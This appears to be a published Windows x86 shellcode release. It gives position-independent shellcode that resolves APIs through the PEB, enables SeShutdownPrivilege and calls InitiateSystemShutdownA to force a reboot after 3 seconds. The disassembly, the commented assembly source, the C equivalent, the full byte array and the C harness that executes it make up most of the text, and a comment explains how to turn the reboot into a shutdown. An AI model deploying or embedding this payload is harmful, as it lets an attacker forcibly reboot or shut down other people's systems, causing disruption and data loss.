Windows/x86 - InitiateSystemShutdownA() Shellcode (599 bytes)

/*
    # Title: Windows x86 InitiateSystemShutdownA() shellcode
    # Date : 18-08-2016
    # Author : Roziul Hasan Khan Shifat
    # Tested on : Windows 7 x86 starter
*/
 
 
/*
Disassembly of section .text:
 
00000000 <_start>:
   0:   31 c9                   xor    %ecx,%ecx
   2:   64 8b 41 30             mov    %fs:0x30(%ecx),%eax
   6:   8b 40 0c                mov    0xc(%eax),%eax
   9:   8b 70 14                mov    0x14(%eax),%esi
   c:   ad                      lods   %ds:(%esi),%eax
   d:   96                      xchg   %eax,%esi
   e:   ad                      lods   %ds:(%esi),%eax
   f:   8b 48 10                mov    0x10(%eax),%ecx
  12:   8b 59 3c                mov    0x3c(%ecx),%ebx
  15:   01 cb                   add    %ecx,%ebx
  17:   8b 5b 78                mov    0x78(%ebx),%ebx
  1a:   01 cb                   add    %ecx,%ebx
  1c:   8b 73 20                mov    0x20(%ebx),%esi
  1f:   01 ce                   add    %ecx,%esi
  21:   31 d2                   xor    %edx,%edx
 
00000023 <g>:
  23:   42                      inc    %edx
  24:   ad                      lods   %ds:(%esi),%eax
  25:   01 c8                   add    %ecx,%eax
  27:   81 38 47 65 74 50       cmpl   $0x50746547,(%eax)
  2d:   75 f4                   jne    23 <g>
  2f:   81 78 04 72 6f 63 41    cmpl   $0x41636f72,0x4(%eax)
  36:   75 eb                   jne    23 <g>
  38:   81 78 08 64 64 72 65    cmpl   $0x65726464,0x8(%eax)
  3f:   75 e2                   jne    23 <g>
  41:   8b 73 1c                mov    0x1c(%ebx),%esi
  44:   01 ce                   add    %ecx,%esi
  46:   8b 14 96                mov    (%esi,%edx,4),%edx
  49:   01 ca                   add    %ecx,%edx
  4b:   89 cf                   mov    %ecx,%edi
  4d:   31 c0                   xor    %eax,%eax
  4f:   50                      push   %eax
  50:   83 ec 1c                sub    $0x1c,%esp
  53:   8d 34 24                lea    (%esp),%esi
  56:   89 16                   mov    %edx,(%esi)
  58:   50                      push   %eax
  59:   68 6f 6b 65 6e          push   $0x6e656b6f
  5e:   68 65 73 73 54          push   $0x54737365
  63:   68 50 72 6f 63          push   $0x636f7250
  68:   68 4f 70 65 6e          push   $0x6e65704f
  6d:   8d 04 24                lea    (%esp),%eax
  70:   50                      push   %eax
  71:   51                      push   %ecx
  72:   ff d2                   call   *%edx
  74:   89 46 04                mov    %eax,0x4(%esi)
  77:   83 c4 10                add    $0x10,%esp
  7a:   31 c9                   xor    %ecx,%ecx
  7c:   68 73 41 42 42          push   $0x42424173
  81:   88 4c 24 01             mov    %cl,0x1(%esp)
  85:   68 6f 63 65 73          push   $0x7365636f
  8a:   68 6e 74 50 72          push   $0x7250746e
  8f:   68 75 72 72 65          push   $0x65727275
  94:   68 47 65 74 43          push   $0x43746547
  99:   8d 0c 24                lea    (%esp),%ecx
  9c:   51                      push   %ecx
  9d:   57                      push   %edi
  9e:   8b 16                   mov    (%esi),%edx
  a0:   ff d2                   call   *%edx
  a2:   83 c4 14                add    $0x14,%esp
  a5:   89 46 08                mov    %eax,0x8(%esi)
  a8:   31 c9                   xor    %ecx,%ecx
  aa:   68 65 73 73 41          push   $0x41737365
  af:   88 4c 24 03             mov    %cl,0x3(%esp)
  b3:   68 50 72 6f 63          push   $0x636f7250
  b8:   68 45 78 69 74          push   $0x74697845
  bd:   8d 0c 24                lea    (%esp),%ecx
  c0:   51                      push   %ecx
  c1:   57                      push   %edi
  c2:   8b 16                   mov    (%esi),%edx
  c4:   ff d2                   call   *%edx
  c6:   83 c4 0c                add    $0xc,%esp
  c9:   89 46 0c                mov    %eax,0xc(%esi)
  cc:   31 c9                   xor    %ecx,%ecx
  ce:   51                      push   %ecx
  cf:   68 61 72 79 41          push   $0x41797261
  d4:   68 4c 69 62 72          push   $0x7262694c
  d9:   68 4c 6f 61 64          push   $0x64616f4c
  de:   8d 0c 24                lea    (%esp),%ecx
  e1:   51                      push   %ecx
  e2:   57                      push   %edi
  e3:   8b 16                   mov    (%esi),%edx
  e5:   ff d2                   call   *%edx
  e7:   83 c4 0c                add    $0xc,%esp
  ea:   68 2e 64 6c 6c          push   $0x6c6c642e
  ef:   68 70 69 33 32          push   $0x32336970
  f4:   68 61 64 76 61          push   $0x61766461
  f9:   8d 0c 24                lea    (%esp),%ecx
  fc:   51                      push   %ecx
  fd:   ff d0                   call   *%eax
  ff:   83 c4 0c                add    $0xc,%esp
 102:   89 c7                   mov    %eax,%edi
 104:   31 c9                   xor    %ecx,%ecx
 106:   68 41 42 42 42          push   $0x42424241
 10b:   88 4c 24 01             mov    %cl,0x1(%esp)
 10f:   68 61 6c 75 65          push   $0x65756c61
 114:   68 65 67 65 56          push   $0x56656765
 119:   68 69 76 69 6c          push   $0x6c697669
 11e:   68 75 70 50 72          push   $0x72507075
 123:   68 4c 6f 6f 6b          push   $0x6b6f6f4c
 128:   8d 0c 24                lea    (%esp),%ecx
 12b:   51                      push   %ecx
 12c:   50                      push   %eax
 12d:   8b 16                   mov    (%esi),%edx
 12f:   ff d2                   call   *%edx
 131:   83 c4 18                add    $0x18,%esp
 134:   89 46 10                mov    %eax,0x10(%esi)
 137:   31 c9                   xor    %ecx,%ecx
 139:   68 73 41 41 41          push   $0x41414173
 13e:   88 4c 24 01             mov    %cl,0x1(%esp)
 142:   68 6c 65 67 65          push   $0x6567656c
 147:   68 72 69 76 69          push   $0x69766972
 14c:   68 6b 65 6e 50          push   $0x506e656b
 151:   68 73 74 54 6f          push   $0x6f547473
 156:   68 41 64 6a 75          push   $0x756a6441
 15b:   8d 0c 24                lea    (%esp),%ecx
 15e:   51                      push   %ecx
 15f:   57                      push   %edi
 160:   8b 16                   mov    (%esi),%edx
 162:   ff d2                   call   *%edx
 164:   83 c4 18                add    $0x18,%esp
 167:   89 46 14                mov    %eax,0x14(%esi)
 16a:   31 c9                   xor    %ecx,%ecx
 16c:   68 77 6e 41 42          push   $0x42416e77
 171:   88 4c 24 03             mov    %cl,0x3(%esp)
 175:   68 75 74 64 6f          push   $0x6f647475
 17a:   68 65 6d 53 68          push   $0x68536d65
 17f:   68 53 79 73 74          push   $0x74737953
 184:   68 69 61 74 65          push   $0x65746169
 189:   68 49 6e 69 74          push   $0x74696e49
 18e:   8d 0c 24                lea    (%esp),%ecx
 191:   51                      push   %ecx
 192:   57                      push   %edi
 193:   8b 16                   mov    (%esi),%edx
 195:   ff d2                   call   *%edx
 197:   83 c4 18                add    $0x18,%esp
 19a:   89 46 18                mov    %eax,0x18(%esi)
 19d:   31 c0                   xor    %eax,%eax
 19f:   50                      push   %eax
 1a0:   83 ec 14                sub    $0x14,%esp
 1a3:   8d 3c 24                lea    (%esp),%edi
 
000001a6 <proc_start>:
 1a6:   8b 46 08                mov    0x8(%esi),%eax
 1a9:   ff d0                   call   *%eax
 1ab:   31 d2                   xor    %edx,%edx
 1ad:   8d 17                   lea    (%edi),%edx
 1af:   52                      push   %edx
 1b0:   31 c9                   xor    %ecx,%ecx
 1b2:   b1 28                   mov    $0x28,%cl
 1b4:   51                      push   %ecx
 1b5:   50                      push   %eax
 1b6:   8b 4e 04                mov    0x4(%esi),%ecx
 1b9:   ff d1                   call   *%ecx
 1bb:   8d 57 04                lea    0x4(%edi),%edx
 1be:   8d 52 04                lea    0x4(%edx),%edx
 1c1:   8d 12                   lea    (%edx),%edx
 1c3:   31 c9                   xor    %ecx,%ecx
 1c5:   68 65 67 65 41          push   $0x41656765
 1ca:   88 4c 24 03             mov    %cl,0x3(%esp)
 1ce:   68 69 76 69 6c          push   $0x6c697669
 1d3:   68 77 6e 50 72          push   $0x72506e77
 1d8:   68 75 74 64 6f          push   $0x6f647475
 1dd:   68 53 65 53 68          push   $0x68536553
 1e2:   8d 0c 24                lea    (%esp),%ecx
 1e5:   31 db                   xor    %ebx,%ebx
 1e7:   52                      push   %edx
 1e8:   51                      push   %ecx
 1e9:   53                      push   %ebx
 1ea:   8b 5e 10                mov    0x10(%esi),%ebx
 1ed:   ff d3                   call   *%ebx
 1ef:   8d 57 04                lea    0x4(%edi),%edx
 1f2:   31 c9                   xor    %ecx,%ecx
 1f4:   41                      inc    %ecx
 1f5:   89 0a                   mov    %ecx,(%edx)
 1f7:   8d 52 04                lea    0x4(%edx),%edx
 1fa:   41                      inc    %ecx
 1fb:   89 4a 08                mov    %ecx,0x8(%edx)
 1fe:   31 d2                   xor    %edx,%edx
 200:   52                      push   %edx
 201:   52                      push   %edx
 202:   52                      push   %edx
 203:   8d 57 04                lea    0x4(%edi),%edx
 206:   52                      push   %edx
 207:   31 d2                   xor    %edx,%edx
 209:   52                      push   %edx
 20a:   8b 17                   mov    (%edi),%edx
 20c:   52                      push   %edx
 20d:   8b 56 14                mov    0x14(%esi),%edx
 210:   ff d2                   call   *%edx
 212:   31 c9                   xor    %ecx,%ecx
 214:   51                      push   %ecx
 215:   68 6e 64 73 21          push   $0x2173646e
 21a:   68 73 65 63 6f          push   $0x6f636573
 21f:   68 41 20 33 20          push   $0x20332041
 224:   68 6d 2e 45 54          push   $0x54452e6d
 229:   68 79 73 74 65          push   $0x65747379
 22e:   68 6e 67 20 53          push   $0x5320676e
 233:   68 61 72 74 49          push   $0x49747261
 238:   68 52 65 73 74          push   $0x74736552
 23d:   8d 1c 24                lea    (%esp),%ebx
 240:   41                      inc    %ecx
 241:   51                      push   %ecx
 242:   31 c9                   xor    %ecx,%ecx
 244:   51                      push   %ecx
 245:   b1 03                   mov    $0x3,%cl
 247:   51                      push   %ecx
 248:   53                      push   %ebx
 249:   31 c9                   xor    %ecx,%ecx
 24b:   51                      push   %ecx
 24c:   8b 4e 18                mov    0x18(%esi),%ecx
 24f:   ff d1                   call   *%ecx
 251:   8b 4e 0c                mov    0xc(%esi),%ecx
 254:   50                      push   %eax
 255:   ff d1                   call   *%ecx
 
 
*/
 
 
 
/*
HANDLE 4 bytes
TOKEN_PRIVILEGES 16 bytes
 
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY = 40 
LUID_AND_ATTRIBUTES 12 bytes
LUID 8 bytes
SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
SE_PRIVILEGE_ENABLED = 2
 
 
required functions:
 
1.  WINADVAPI WINBOOL WINAPI OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
2.  WINBASEAPI HANDLE WINAPI GetCurrentProcess (VOID);
 
3.  WINADVAPI WINBOOL WINAPI LookupPrivilegeValueA (LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
4.  WINADVAPI WINBOOL WINAPI AdjustTokenPrivileges (HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
5.  WINADVAPI WINBOOL WINAPI InitiateSystemShutdownA(LPSTR lpMachineName,LPSTR lpMessage,DWORD dwTimeout,WINBOOL bForceAppsClosed,WINBOOL bRebootAfterShutdown);
 
6.GetProcAddress()
7.ExitProcess()
8.LoadLibraryA() [1 time use]
 
 
 
required dll:
 
1.kernel32.dll
2.kernel32.dll
 
3.advapi32.dll
4.advapi32.dll
5.advapi32.dll
 
6.kernel32.dll
7.kernel32.dll
8.kernel32.dll
 
 
required macro and custom data types:
 
 
#define ANYSIZE_ARRAY 1
     
     
     typedef struct _TOKEN_PRIVILEGES {
      DWORD PrivilegeCount;
      LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
    } TOKEN_PRIVILEGES,*PTOKEN_PRIVILEGES;
     
     
     typedef struct _LUID_AND_ATTRIBUTES {
      LUID Luid;
      DWORD Attributes;
    } LUID_AND_ATTRIBUTES,*PLUID_AND_ATTRIBUTES;
    typedef LUID_AND_ATTRIBUTES LUID_AND_ATTRIBUTES_ARRAY[ANYSIZE_ARRAY];
    typedef LUID_AND_ATTRIBUTES_ARRAY *PLUID_AND_ATTRIBUTES_ARRAY;
     
     
     
     typedef struct _LUID {
    DWORD LowPart;
    LONG HighPart;
  } LUID,*PLUID;
     
 
c code:
 
 
#include <windows.h>
#include<stdio.h>
#include<process.h>
#include<io.h>
 
int main(){
    HANDLE h;
    TOKEN_PRIVILEGES t;
    if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&h))
    return 0;
     
     
     
     
    LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&t.Privileges[0].Luid);
    t.PrivilegeCount=1;
    t.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
     
     
     
    AdjustTokenPrivileges(h, FALSE, &t, 0,NULL, 0);
     
    InitiateSystemShutdown(NULL,"shutting",10,FALSE,1);
}
*/
 
/*
section .text
    global _start
_start:
 
xor ecx,ecx
 
mov eax,[fs:ecx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB->Ldr
mov esi,[eax+0x14] ;PEB->ldr.InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov ecx,[eax+0x10] ;kernel32.dll base address
 
 
mov ebx,[ecx+0x3c] ;DOS->elf_anew
add ebx,ecx ;PE HEADER
mov ebx,[ebx+0x78] ;DataDirectory->VirtualAddress
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY
 
 
mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx
 
xor edx,edx
 
g:
inc edx
lodsd
add eax,ecx
cmp dword [eax],'GetP'
jnz g
cmp dword [eax+4],'rocA'
jnz g
cmp dword [eax+8],'ddre'
jnz g
 
 
mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx
 
mov edx,[esi+edx*4]
add edx,ecx ;GetProcAddress()
 
mov edi,ecx ;kernel32.dll
 
xor eax,eax
push eax
sub esp,28
 
lea esi,[esp]
 
mov [esi],dword edx ;GetProcAddress() at offset 0
 
 
;---------------------------------
;finding address of OpenProcessToken()
 
push eax
push 0x6e656b6f
push 0x54737365
push 0x636f7250
push 0x6e65704f
 
lea eax,[esp]
push eax
push ecx
 
call edx
;-----------------------------------
mov [esi+4],dword eax ;OpenProcessToken() at offset 4
add esp,0x10
;-------------------------
 
;finding address of GetCurrentProcess()
xor ecx,ecx
push 0x42424173
mov [esp+1],byte cl
push 0x7365636f
push 0x7250746e
push 0x65727275
push 0x43746547
 
 
lea ecx,[esp]
push ecx
push edi
 
mov edx,dword [esi]
call edx
;-------------------------
add esp,20
mov [esi+8],dword eax ;GetCurrentProcess() at offset 8
;----------------------------------
 
;finding address of ExitProcess()
xor ecx,ecx
push 0x41737365
mov [esp+3],byte cl
push 0x636f7250
push 0x74697845
 
lea ecx,[esp]
 
push ecx
push edi
mov edx,dword [esi]
call edx
;-----------------------
add esp,12
mov [esi+12],dword eax ;ExitProcess() at offset 12
;-------------------------------------------
 
;finding address of LoadLibraryA()
xor ecx,ecx
push ecx
push 0x41797261
push 0x7262694c
push 0x64616f4c
 
lea ecx,[esp]
push ecx
push edi
 
mov edx,dword [esi]
call edx
;--------------------
add esp,12
 
;LoadLibraryA("advapi32.dll")
push 0x6c6c642e
push 0x32336970
push 0x61766461
 
lea ecx,[esp]
push ecx
call eax
;--------------------------
add esp,12
mov edi,eax ; advapi32.dll
;------------------------------
;finding address of LookupPrivilegeValueA()
xor ecx,ecx
push 0x42424241
mov [esp+1],byte cl
push 0x65756c61
push 0x56656765
push 0x6c697669
push 0x72507075
push 0x6b6f6f4c
 
 
lea ecx,[esp]
push ecx
push eax
 
mov edx,dword [esi]
call edx
 
;---------------------------
add esp,0x18
mov [esi+16],dword eax ;LookupPrivilegeValueA() at offset 16
;-------------------------
 
;finding address of AdjustTokenPrivileges()
xor ecx,ecx
push 0x41414173
mov [esp+1],byte cl
push 0x6567656c
push 0x69766972
push 0x506e656b
push 0x6f547473
push 0x756a6441
 
lea ecx,[esp]
push ecx
push edi
 
mov edx,dword [esi]
call edx
;------------------------------------
add esp,0x18
mov [esi+20],dword eax ;AdjustTokenPrivileges() at offset 20
;---------------------------
 
;finding address of InitiateSystemShutdownA()
 
xor ecx,ecx
push 0x42416e77
mov [esp+3],byte cl
push 0x6f647475
push 0x68536d65
push 0x74737953
push 0x65746169
push 0x74696e49
 
 
lea ecx,[esp]
push ecx
push edi
 
mov edx,dword [esi]
call edx
;-------------------------
add esp,0x18
mov [esi+24],dword eax ;InitiateSystemShutdownA() at offset 24
;-------------------------
 
xor eax,eax
push eax
 
 
sub esp,20
lea edi,[esp] ;HANDLE+TOKEN_PRIVILEGES address
 
 
;---------------------------------
;GetProcAddress() at offset 0
;OpenProcessToken() at offset 4
;GetCurrentProcess() at offset 8
;ExitProcess() at offset 12
;LookupPrivilegeValueA() at offset 16
;AdjustTokenPrivileges() at offset 20
;InitiateSystemShutdownA() at offset 24
 
;----------------------------------------
 
 
 
proc_start:
 
;---------------------------
;GetCurrentProcess()
 
mov eax,[esi+8]
call eax
 
;----------------------------
;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&HANDLE)
 
xor edx,edx
lea edx,[edi]
push edx
xor ecx,ecx
mov cl,40
 
push ecx
push eax
 
mov ecx,[esi+4]
call ecx
 
;--------------------------
;LookupPrivilegeValueA(NULL,SE_SHUTDOWN_NAME,&TOKEN_PRIVILEGES.Privileges[0].Luid);
 
lea edx,[edi+4]
lea edx,[edx+4]
 
 
lea edx,[edx]
 
xor ecx,ecx
 
push 0x41656765
mov [esp+3],byte cl
push 0x6c697669
push 0x72506e77
push 0x6f647475
push 0x68536553
 
lea ecx,[esp]
 
 
xor ebx,ebx
 
 
push edx
push ecx
push ebx
 
mov ebx,[esi+16]
call ebx
;----------------------------------
;AdjustTokenPrivileges(HANDLE, FALSE, &TOKEN_PRIVILEGES, 0,NULL, 0);
lea edx,[edi+4]
xor ecx,ecx
inc ecx
mov [edx],dword ecx
lea edx,[edx+4]
inc ecx
mov [edx+8],dword ecx
 
xor edx,edx
push edx
push edx
push edx
 
lea edx,[edi+4]
push edx
 
xor edx,edx
push edx
 
mov edx,dword [edi]
 
push edx
 
mov edx,[esi+20]
call edx
 
;----------------------------
;InitiateSystemShutdownA(NULL,"RestartIng System.ETA 3 seconds!",3,FALSE,1);
 
xor ecx,ecx
 
 
;--------------------------
push ecx
push 0x2173646e
push 0x6f636573
push 0x20332041
push 0x54452e6d
push 0x65747379
push 0x5320676e
push 0x49747261
push 0x74736552
 
 
lea ebx,[esp] ;Message "RestartIng System.ETA 3 seconds!"
;------------------------------
 
inc ecx ;if U want to shutdown system , just remove this line
 
push ecx
 
xor ecx,ecx
push ecx
 
mov cl,3 ;3 seconds
push ecx
push ebx 
xor ecx,ecx
push ecx
 
 
mov ecx,[esi+24]
call ecx
 
;--------------------------
;Exiting
mov ecx,[esi+12]
push eax
call ecx
*/
 
 
#include<stdio.h>
#include<string.h>
char shellcode[]=\
 
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xcf\x31\xc0\x50\x83\xec\x1c\x8d\x34\x24\x89\x16\x50\x68\x6f\x6b\x65\x6e\x68\x65\x73\x73\x54\x68\x50\x72\x6f\x63\x68\x4f\x70\x65\x6e\x8d\x04\x24\x50\x51\xff\xd2\x89\x46\x04\x83\xc4\x10\x31\xc9\x68\x73\x41\x42\x42\x88\x4c\x24\x01\x68\x6f\x63\x65\x73\x68\x6e\x74\x50\x72\x68\x75\x72\x72\x65\x68\x47\x65\x74\x43\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x14\x89\x46\x08\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x0c\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x68\x2e\x64\x6c\x6c\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x8d\x0c\x24\x51\xff\xd0\x83\xc4\x0c\x89\xc7\x31\xc9\x68\x41\x42\x42\x42\x88\x4c\x24\x01\x68\x61\x6c\x75\x65\x68\x65\x67\x65\x56\x68\x69\x76\x69\x6c\x68\x75\x70\x50\x72\x68\x4c\x6f\x6f\x6b\x8d\x0c\x24\x51\x50\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x10\x31\xc9\x68\x73\x41\x41\x41\x88\x4c\x24\x01\x68\x6c\x65\x67\x65\x68\x72\x69\x76\x69\x68\x6b\x65\x6e\x50\x68\x73\x74\x54\x6f\x68\x41\x64\x6a\x75\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x14\x31\xc9\x68\x77\x6e\x41\x42\x88\x4c\x24\x03\x68\x75\x74\x64\x6f\x68\x65\x6d\x53\x68\x68\x53\x79\x73\x74\x68\x69\x61\x74\x65\x68\x49\x6e\x69\x74\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x18\x31\xc0\x50\x83\xec\x14\x8d\x3c\x24\x8b\x46\x08\xff\xd0\x31\xd2\x8d\x17\x52\x31\xc9\xb1\x28\x51\x50\x8b\x4e\x04\xff\xd1\x8d\x57\x04\x8d\x52\x04\x8d\x12\x31\xc9\x68\x65\x67\x65\x41\x88\x4c\x24\x03\x68\x69\x76\x69\x6c\x68\x77\x6e\x50\x72\x68\x75\x74\x64\x6f\x68\x53\x65\x53\x68\x8d\x0c\x24\x31\xdb\x52\x51\x53\x8b\x5e\x10\xff\xd3\x8d\x57\x04\x31\xc9\x41\x89\x0a\x8d\x52\x04\x41\x89\x4a\x08\x31\xd2\x52\x52\x52\x8d\x57\x04\x52\x31\xd2\x52\x8b\x17\x52\x8b\x56\x14\xff\xd2\x31\xc9\x51\x68\x6e\x64\x73\x21\x68\x73\x65\x63\x6f\x68\x41\x20\x33\x20\x68\x6d\x2e\x45\x54\x68\x79\x73\x74\x65\x68\x6e\x67\x20\x53\x68\x61\x72\x74\x49\x68\x52\x65\x73\x74\x8d\x1c\x24\x41\x51\x31\xc9\x51\xb1\x03\x51\x53\x31\xc9\x51\x8b\x4e\x18\xff\xd1\x8b\x4e\x0c\x50\xff\xd1";
 
main()
{
printf("shellcode lenght %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}